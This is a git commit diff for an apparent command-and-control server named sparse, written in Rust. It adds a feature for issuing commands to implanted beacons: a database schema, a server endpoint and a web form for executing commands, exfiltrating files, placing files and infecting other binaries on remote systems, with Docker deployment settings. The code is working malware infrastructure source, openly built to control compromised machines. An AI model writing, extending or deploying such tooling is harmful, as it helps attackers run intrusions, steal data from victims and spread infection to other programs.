feat: added basic command issuing

This commit is contained in:
Andrew Rioux 2025-02-23 01:46:18 -05:00
parent 9fee4009f2
commit e0af4ad291
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
13 changed files with 563 additions and 16 deletions

2
.gitignore vendored
View File

@ -6,3 +6,5 @@ zig-out
.zig-cache .zig-cache
freebsd.txt freebsd.txt
/sparse-server/db.sqlite* /sparse-server/db.sqlite*
/filetransfers
/sparse-server/filetransfers

12
Cargo.lock generated
View File

@ -3285,6 +3285,7 @@ dependencies = [
"hyper", "hyper",
"inventory", "inventory",
"js-sys", "js-sys",
"multer",
"once_cell", "once_cell",
"pin-project-lite", "pin-project-lite",
"send_wrapper", "send_wrapper",
@ -3535,6 +3536,7 @@ dependencies = [
"leptos_axum", "leptos_axum",
"leptos_meta", "leptos_meta",
"leptos_router", "leptos_router",
"multer",
"pbkdf2", "pbkdf2",
"rand 0.9.0", "rand 0.9.0",
"rcgen", "rcgen",
@ -3544,6 +3546,7 @@ dependencies = [
"send_wrapper", "send_wrapper",
"serde", "serde",
"serde_json", "serde_json",
"server_fn",
"sha2", "sha2",
"sparse-actions", "sparse-actions",
"sparse-handler", "sparse-handler",
@ -3556,6 +3559,7 @@ dependencies = [
"tower-http 0.5.2", "tower-http 0.5.2",
"tracing", "tracing",
"tracing-subscriber", "tracing-subscriber",
"uuid",
"wasm-bindgen", "wasm-bindgen",
"web-sys", "web-sys",
] ]
@ -3700,6 +3704,7 @@ dependencies = [
"tokio-stream", "tokio-stream",
"tracing", "tracing",
"url", "url",
"uuid",
] ]
[[package]] [[package]]
@ -3781,6 +3786,7 @@ dependencies = [
"stringprep", "stringprep",
"thiserror 2.0.11", "thiserror 2.0.11",
"tracing", "tracing",
"uuid",
"whoami", "whoami",
] ]
@ -3819,6 +3825,7 @@ dependencies = [
"stringprep", "stringprep",
"thiserror 2.0.11", "thiserror 2.0.11",
"tracing", "tracing",
"uuid",
"whoami", "whoami",
] ]
@ -3844,6 +3851,7 @@ dependencies = [
"sqlx-core", "sqlx-core",
"tracing", "tracing",
"url", "url",
"uuid",
] ]
[[package]] [[package]]
@ -4552,9 +4560,9 @@ checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be"
[[package]] [[package]]
name = "uuid" name = "uuid"
version = "1.13.1" version = "1.14.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ced87ca4be083373936a67f8de945faa23b6b42384bd5b64434850802c6dccd0" checksum = "93d59ca99a559661b96bf898d8fce28ed87935fd2bea9f05983c1464dd6c71b1"
dependencies = [ dependencies = [
"getrandom 0.3.1", "getrandom 0.3.1",
] ]

View File

@ -338,7 +338,24 @@ let
copyToRoot = [ sparse-server ]; copyToRoot = [ sparse-server ];
config = { Cmd = [ "${sparse-server}/bin/sparse-server" ]; }; runAsRoot = ''
#!${pkgs.runtimeShell}
mkdir -p /sparse-server
'';
config = {
Cmd = [
"${sparse-server}/bin/sparse-server"
"serve"
"--file-store"
"/sparse-server/files"
"--management-address"
"0.0.0.0:3000"
];
Expose = { "3000" = ""; };
Env = { DATABASE_URL = "sqlite:///sparse-server/db.sqlite"; };
Volumes = { "/sparse-server" = { }; };
};
}; };
outputs = rec { outputs = rec {

View File

@ -86,6 +86,25 @@ pub async fn handle_checkin(
.cwd .cwd
.to_str() .to_str()
.unwrap_or("(unknown)"); .unwrap_or("(unknown)");
let template_category = sqlx::query!(
"SELECT default_category FROM beacon_template WHERE template_id = ?",
reg.template_id
)
.fetch_optional(&state.db)
.await?;
if let Some(category_id) = template_category.map(|r| r.default_category) {
sqlx::query!(
"INSERT INTO beacon_category_assignment (category_id, beacon_id)
VALUES (?, ?)",
category_id,
reg.beacon_id
)
.execute(&state.db)
.await?;
}
sqlx::query!( sqlx::query!(
r#"INSERT INTO beacon_instance r#"INSERT INTO beacon_instance
(beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname) (beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname)

View File

@ -31,7 +31,7 @@ tracing = { version = "0.1", optional = true }
web-sys = { version = "0.3", features = ["WebSocket"] } web-sys = { version = "0.3", features = ["WebSocket"] }
leptos-use = { version = "0.15", default-features = false, features = ["use_websocket", "use_interval"] } leptos-use = { version = "0.15", default-features = false, features = ["use_websocket", "use_interval"] }
codee = { version = "0.2", features = ["json_serde"] } codee = { version = "0.2", features = ["json_serde"] }
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite"], optional = true } sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true }
chrono = { version = "0.4", features = ["serde"] } chrono = { version = "0.4", features = ["serde"] }
rpassword = { version = "7.3", optional = true } rpassword = { version = "7.3", optional = true }
pbkdf2 = { version = "0.12", features = ["simple", "sha2", "std"], optional = true } pbkdf2 = { version = "0.12", features = ["simple", "sha2", "std"], optional = true }
@ -47,6 +47,9 @@ serde_json = "1.0.139"
send_wrapper = "0.6.0" send_wrapper = "0.6.0"
duration-str = { version = "0.13.0", default-features = false, features = ["chrono"] } duration-str = { version = "0.13.0", default-features = false, features = ["chrono"] }
regex = "1.11.1" regex = "1.11.1"
server_fn = { version = "0.7.7", features = ["multipart"] }
multer = { version = "3.1.0", optional = true }
uuid = { version = "1.14.0", features = ["v4"], optional = true }
sparse-actions = { path = "../sparse-actions", optional = true } sparse-actions = { path = "../sparse-actions", optional = true }
sparse-handler = { path = "../sparse-handler", optional = true } sparse-handler = { path = "../sparse-handler", optional = true }
@ -78,6 +81,8 @@ ssr = [
"dep:rustls-pki-types", "dep:rustls-pki-types",
"dep:sparse-actions", "dep:sparse-actions",
"dep:rand", "dep:rand",
"dep:multer",
"dep:uuid",
"leptos/ssr", "leptos/ssr",
"leptos_meta/ssr", "leptos_meta/ssr",
"leptos_router/ssr", "leptos_router/ssr",

View File

@ -0,0 +1,49 @@
DROP TABLE beacon_command_invocation;
DROP TABLE beacon_command;
CREATE TABLE beacon_file (
file_id varchar PRIMARY KEY NOT NULL,
file_name varchar,
beacon_source_id varchar,
FOREIGN KEY (beacon_source_id) REFERENCES beacon_instance
);
CREATE TABLE beacon_command (
command_id integer PRIMARY KEY AUTOINCREMENT NOT NULL,
cmd_type text check (cmd_type in ('update', 'exec', 'install', 'upload', 'download', 'chdir', 'ls')),
exec_command varchar,
install_target varchar,
upload_src varchar,
download_src varchar,
download_path varchar,
chdir_target varchar,
FOREIGN KEY (download_src) REFERENCES beacon_file
);
CREATE TABLE beacon_command_invocation (
beacon_id varchar NOT NULL,
command_id int NOT NULL,
issue_date int NOT NULL,
invoker_id int NOT NULL,
invocation_date int,
invocation_result varchar,
PRIMARY KEY (beacon_id, command_id),
FOREIGN KEY (command_id) REFERENCES beacon_command,
FOREIGN KEY (beacon_id) REFERENCES beacon_instance,
FOREIGN KEY (invoker_id) REFERENCES users
);

View File

@ -112,7 +112,7 @@ pub fn App() -> impl IntoView {
<Route path=path!("commands") view=crate::beacons::commands::CommandsView/> <Route path=path!("commands") view=crate::beacons::commands::CommandsView/>
<Route path=path!("configs") view=crate::beacons::configs::ConfigsView/> <Route path=path!("configs") view=crate::beacons::configs::ConfigsView/>
<Route path=path!("templates") view=crate::beacons::templates::TemplatesView/> <Route path=path!("templates") view=crate::beacons::templates::TemplatesView/>
<Route path=path!("instances") view=crate::beacons::instances::InstancesView/> <Route path=path!("beacon/:id") view=crate::beacons::instances::InstancesView/>
<Route path=path!("listeners") view=crate::beacons::listeners::ListenersView/> <Route path=path!("listeners") view=crate::beacons::listeners::ListenersView/>
<Route path=path!("") view=|| view! { <Route path=path!("") view=|| view! {
<p>"Select a menu item on the left to get started"</p> <p>"Select a menu item on the left to get started"</p>

View File

@ -1,10 +1,413 @@
use leptos::prelude::*; use leptos::{either::Either, prelude::*};
use serde::{Deserialize, Serialize};
use leptos::server_fn::codec::{MultipartData, MultipartFormData};
use web_sys::FormData;
use send_wrapper::SendWrapper;
#[cfg(feature = "ssr")]
use {
leptos::server_fn::error::NoCustomError,
sqlx::{sqlite::SqliteRow, FromRow, Row},
tokio::io::AsyncWriteExt,
};
use crate::beacons::{BeaconResources, categories::Category};
#[derive(Clone, Serialize, Deserialize)]
pub enum CommandBody {
Update,
Exec { command: String },
Install { target_binary: String },
Upload { target_file: String },
Download { src_file: String, target_path: String },
Chdir { target_dir: String },
Ls
}
#[cfg(feature = "ssr")]
impl FromRow<'_, SqliteRow> for CommandBody {
fn from_row(row: &SqliteRow) -> sqlx::Result<Self> {
match row.try_get("cmd_type")? {
"update" => Ok(Self::Update),
"exec" => Ok(Self::Exec {
command: row.try_get("exec_command")?
}),
"install" => Ok(Self::Install {
target_binary: row.try_get("install_target")?
}),
"upload" => Ok(Self::Upload {
target_file: row.try_get("upload_src")?
}),
"download" => Ok(Self::Download {
src_file: row.try_get("download_src")?,
target_path: row.try_get("download_path")?
}),
"chdir" => Ok(Self::Chdir {
target_dir: row.try_get("chdir_target")?
}),
"ls" => Ok(Self::Ls),
type_name => Err(sqlx::Error::TypeNotFound {
type_name: type_name.to_string()
})
}
}
}
#[cfg_attr(feature = "ssr", derive(FromRow))]
#[derive(Clone, Serialize, Deserialize)]
pub struct BeaconCommand {
pub command_id: i64,
#[cfg_attr(feature = "ssr", sqlx(flatten))]
pub body: CommandBody
}
#[server(
prefix = "/api/commands",
endpoint = "issue_command",
input = MultipartFormData
)]
pub async fn issue_command(
data: MultipartData,
) -> Result<(), ServerFnError> {
let Some(user) = crate::db::user::get_auth_session().await? else {
return Err(ServerFnError::<NoCustomError>::ServerError(
"You are not signed in!".to_owned(),
));
};
let mut fields = std::collections::HashMap::<String, String>::new();
let mut download_src = None::<multer::Field>;
let mut data = data.into_inner().ok_or(ServerFnError::<NoCustomError>::ServerError(
"No form data was provided".to_owned(),
))?;
while let Ok(Some(field)) = data.next_field().await {
let name = field.name().unwrap_or_default().to_string();
tracing::trace!("Found field {}", &name);
if name != "download_src" {
fields.insert(name.clone(), field.text().await.unwrap_or_default());
} else {
download_src = Some(field);
}
}
enum Target {
Beacon(String),
Category(i64)
}
let Some(target_beacons) = fields
.get("beacon_id")
.map(Clone::clone)
.map(Target::Beacon)
.or(fields
.get("category_id")
.map(|id| id.parse::<i64>().ok())
.flatten()
.map(Target::Category)) else {
return Err(ServerFnError::<NoCustomError>::ServerError(
"A beacon command cannot be made without a target".to_owned(),
));
};
let db = crate::db::get_db()?;
let command_id = match fields.get("cmd_type").map(Clone::clone).as_deref() {
Some("update") => {
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type) VALUES ('update')"
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("ls") => {
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type) VALUES ('ls')"
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("chdir") => {
let chdir_target = fields
.get("chdir_target")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Directory target cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, chdir_target) VALUES ('chdir', ?)",
chdir_target
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("exec") => {
let exec_command = fields
.get("exec_command")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Command cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, exec_command) VALUES ('exec', ?)",
exec_command
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("install") => {
let install_target = fields
.get("install_target")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Install target cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, install_target) VALUES ('install', ?)",
install_target
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("upload") => {
let upload_src = fields
.get("upload_src")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Upload file request path cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, upload_src) VALUES ('upload', ?)",
upload_src
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("download") => {
let download_path = fields
.get("download_path")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Upload file request path cannot be empty".to_owned(),
))?;
let mut download_src = download_src
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"File to upload cannot be empty".to_owned(),
))?;
let file_name = download_src.file_name().unwrap_or_default().to_string();
let file_id = uuid::Uuid::new_v4();
let mut target_file_path = expect_context::<std::path::PathBuf>();
target_file_path.push(file_id.to_string());
tracing::debug!("Writing {file_name} to {target_file_path:?}");
let mut target_file = tokio::fs::OpenOptions::new()
.write(true)
.create(true)
.open(target_file_path)
.await?;
while let Ok(Some(chunk)) = download_src.chunk().await {
target_file.write(&chunk).await?;
}
sqlx::query!(
"INSERT INTO beacon_file (file_id, file_name) VALUES (?, ?)",
file_id,
file_name
)
.execute(&db)
.await?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, download_src, download_path) VALUES ('download', ?, ?)",
file_id,
download_path
)
.execute(&db)
.await?
.last_insert_rowid())
}
_ => Err(ServerFnError::<NoCustomError>::ServerError(
"Unknown command type".to_owned(),
))
}?;
let now = chrono::Utc::now();
match target_beacons {
Target::Beacon(bid) => {
sqlx::query!(
"INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
VALUES (?, ?, ?, ?)",
command_id,
now,
user.user_id,
bid
)
.execute(&db)
.await?;
}
Target::Category(cid) => {
sqlx::query!(
"INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
SELECT ?, ?, ?, bi.beacon_id FROM beacon_category bc
INNER JOIN beacon_category_assignment bca ON bc.category_id = bca.category_id
INNER JOIN beacon_instance bi ON bca.beacon_id = bi.beacon_id
WHERE bc.category_id = ?",
command_id,
now,
user.user_id,
cid
)
.execute(&db)
.await?;
}
}
Ok(())
}
#[component]
pub fn CommandForm(categories: Vec<Category>, beacon_id: Option<String>) -> impl IntoView {
let command_action = Action::new(move |data: &SendWrapper<FormData>| {
let data = data.clone();
async move {
issue_command(data.take().into()).await
}
});
view! {
{(categories.is_empty() && beacon_id.is_none())
.then(|| view! {
<span class="error">"Missing categories! Cannot assign a command to a category if there are no categories"</span>
})}
{move || match command_action.value().get() {
None => Either::Right(()),
Some(v) => Either::Left(match v {
Ok(_) => Either::Right(view! {
<p>"Command successfully isued!"</p>
}),
Err(e) => Either::Left(view! {
<p>"Error occurred issuing command:"</p>
<p>{format!{"{e:?}"}}</p>
})
})
}}
<form on:submit:target=move |ev| {
ev.prevent_default();
let target = ev.target();
let form_data = FormData::new_with_form(&target).expect("could not get formdata from form");
command_action.dispatch(SendWrapper::new(form_data));
}>
<fieldset>
<legend>"Issue new command"</legend>
{if let Some(bid) = beacon_id.clone() {
Either::Left(view! {
<input name="beacon_id" type="hidden" value=bid />
})
} else {
Either::Right(view! {
<label>
"Select a category to command"
</label>
<select name="category_id">
{categories
.iter()
.map(|cat| view! {
<option value=cat.category_id.to_string()>
{cat.category_name.clone()}
</option>
})
.collect_view()}
</select>
})
}}
<label>"Type of command"</label>
<select name="cmd_type">
<option value="exec">"Execute command"</option>
<option value="upload">"Upload/exfil file"</option>
<option value="download">"Download/place file"</option>
<option value="update">"Update beacon"</option>
<option value="chdir">"Change directory"</option>
<option value="ls">"List files"</option>
<option value="install">"Install to a new binary"</option>
</select>
<label class="cmd-exec">"Command"</label>
<input class="cmd-exec" name="exec_command" />
<label class="cmd-upload">"File to upload/exfil"</label>
<input class="cmd-upload" name="upload_src" />
<label class="cmd-chdir">"Directory to change to"</label>
<input class="cmd-chdir" name="chdir_target" />
<label class="cmd-install">"Binary to infect"</label>
<input class="cmd-install" name="install_target" />
<label class="cmd-download">"Target location for file"</label>
<input class="cmd-download" name="download_path"/>
<label class="cmd-download">"File to download/place"</label>
<input class="cmd-download" name="download_src" type="file" />
<div></div>
<input type="submit" value="Submit" disabled=move ||command_action.pending().get()/>
</fieldset>
</form>
}
}
#[component] #[component]
pub fn CommandsView() -> impl IntoView { pub fn CommandsView() -> impl IntoView {
view! { let BeaconResources { categories, .. } = expect_context();
<div>
view! {
<div class="commands">
<h2>"Issue commands"</h2>
<div>
<p>
"This page is used to issue commands to all beacons in a category. If you are looking to issue a command to a single beacon, select one from the left."
</p>
<p>
"Available commands, and the required version of the beacon:"
</p>
<ul>
<li>"Exec: execute a command"</li>
<li>"Upload: upload a file from the server the beacon is on to the C2 server"</li>
<li>"Download: download a file from the C2 server to the computer the beacon is on"</li>
<li>"Update: Attempt to update the beacon on the remote system"</li>
<li>"Chdir: change the 'working directory' of the beacon. The working directory is actually stored on the C2 server, and the only action the beacon performs is to verify such a path exists"</li>
<li>"Ls: list files in the current 'working directory'"</li>
<li>"Install: infect another binary (only works for sparse beacons that already infect a binary; does not work for standalone beacons)"</li>
</ul>
</div>
<Suspense fallback=|| view! { "Loading..." }>
{move || Suspend::new(async move {
let categories = match categories.await {
Ok(cs) => cs,
Err(e) => return Either::Left(view! {
<p>{"There was an error loading categories:".to_string()}</p>
<p>{format!("error: {}", e)}</p>
})
};
Either::Right(view! {
<CommandForm categories beacon_id=None />
})
})}
</Suspense>
</div> </div>
} }
} }

View File

@ -100,8 +100,6 @@ pub fn BeaconSidebar() -> impl IntoView {
return; return;
}; };
leptos::logging::log!("Received message: {m:?}");
match m { match m {
SidebarEvents::BeaconList(bs) => { SidebarEvents::BeaconList(bs) => {
let mut bs = bs.to_vec(); let mut bs = bs.to_vec();
@ -128,7 +126,6 @@ pub fn BeaconSidebar() -> impl IntoView {
return; return;
}; };
if let Some(ref mut b) = bs.iter_mut().find(|b| b.beacon_id == *bid) { if let Some(ref mut b) = bs.iter_mut().find(|b| b.beacon_id == *bid) {
leptos::logging::log!("Found beacon to check in");
b.last_checkin = chrono::Utc::now(); b.last_checkin = chrono::Utc::now();
} }
}), }),

View File

@ -28,8 +28,13 @@ pub enum Command {
/// Run the web and API server /// Run the web and API server
Serve { Serve {
/// Address to bind to for the management interface /// Address to bind to for the management interface
#[structopt(default_value = "127.0.0.1:3000")] #[structopt(short = "m", long, default_value = "127.0.0.1:3000")]
management_address: SocketAddrV4, management_address: SocketAddrV4,
/// Where to store files to transfer to target systems, and
/// files that are downloaded from remote systems
#[structopt(short = "f", long, default_value = "./filetransfers")]
file_store: PathBuf,
}, },
/// Extract the public key and print it to standard out /// Extract the public key and print it to standard out

View File

@ -65,9 +65,9 @@ async fn main() -> anyhow::Result<std::process::ExitCode> {
tracing::info!("Done running database migrations!"); tracing::info!("Done running database migrations!");
match options.command.clone() { match options.command.clone() {
Some(cli::Command::Serve { management_address }) => { Some(cli::Command::Serve { management_address, file_store }) => {
tracing::info!("Performing requested action, acting as web server"); tracing::info!("Performing requested action, acting as web server");
webserver::serve_web(management_address, pool).await webserver::serve_web(management_address, file_store, pool).await
} }
Some(cli::Command::ExtractPubKey {}) => Ok(ExitCode::SUCCESS), Some(cli::Command::ExtractPubKey {}) => Ok(ExitCode::SUCCESS),
Some(cli::Command::User { command }) => cli::user::handle_user_command(command, pool).await, Some(cli::Command::User { command }) => cli::user::handle_user_command(command, pool).await,
@ -77,7 +77,7 @@ async fn main() -> anyhow::Result<std::process::ExitCode> {
tracing::info!("Performing default action of acting as web server"); tracing::info!("Performing default action of acting as web server");
let default_management_ip = SocketAddrV4::new(Ipv4Addr::new(127, 0, 0, 1), 3000); let default_management_ip = SocketAddrV4::new(Ipv4Addr::new(127, 0, 0, 1), 3000);
webserver::serve_web(default_management_ip, pool).await webserver::serve_web(default_management_ip, "./filetransfers".into(), pool).await
} }
} }
} }

View File

@ -1,4 +1,4 @@
use std::{net::SocketAddrV4, process::ExitCode}; use std::{net::SocketAddrV4, path::PathBuf, process::ExitCode};
use axum::{ use axum::{
extract::{ws, FromRef, Path, Query, State}, extract::{ws, FromRef, Path, Query, State},
@ -480,6 +480,7 @@ async fn handle_listener_events(
pub async fn serve_web( pub async fn serve_web(
management_address: SocketAddrV4, management_address: SocketAddrV4,
file_store: PathBuf,
db: SqlitePool, db: SqlitePool,
) -> anyhow::Result<ExitCode> { ) -> anyhow::Result<ExitCode> {
let conf = get_configuration(None).unwrap(); let conf = get_configuration(None).unwrap();
@ -488,6 +489,8 @@ pub async fn serve_web(
let beacon_event_broadcast = tokio::sync::broadcast::Sender::<sparse_handler::BeaconEvent>::new(128); let beacon_event_broadcast = tokio::sync::broadcast::Sender::<sparse_handler::BeaconEvent>::new(128);
let beacon_listeners = sparse_handler::BeaconListenerMap::default(); let beacon_listeners = sparse_handler::BeaconListenerMap::default();
tokio::fs::create_dir_all(&file_store).await?;
let compression_layer = tower_http::compression::CompressionLayer::new() let compression_layer = tower_http::compression::CompressionLayer::new()
.gzip(true) .gzip(true)
.deflate(true) .deflate(true)
@ -525,6 +528,7 @@ pub async fn serve_web(
provide_context(beacon_listeners.clone()); provide_context(beacon_listeners.clone());
provide_context(db.clone()); provide_context(db.clone());
provide_context(beacon_event_broadcast.clone()); provide_context(beacon_event_broadcast.clone());
provide_context(file_store.clone());
}, },
{ {
let leptos_options = leptos_options.clone(); let leptos_options = leptos_options.clone();

View File

@ -0,0 +1,38 @@
main.beacons div.commands {
padding: 10px;
overflow-y: scroll;
fieldset {
display: grid;
grid-template-columns: 400px 200px;
grid-row-gap: 10px;
input, label {
margin: 10px;
}
}
.cmd-exec, .cmd-install, .cmd-upload, .cmd-download, .cmd-chdir {
display: none;
}
select[name="cmd_type"]:has(> option[value="exec"]:checked) ~ .cmd-exec {
display: block;
}
select[name="cmd_type"]:has(> option[value="upload"]:checked) ~ .cmd-upload {
display: block;
}
select[name="cmd_type"]:has(> option[value="download"]:checked) ~ .cmd-download {
display: block;
}
select[name="cmd_type"]:has(> option[value="chdir"]:checked) ~ .cmd-chdir {
display: block;
}
select[name="cmd_type"]:has(> option[value="install"]:checked) ~ .cmd-install {
display: block;
}
}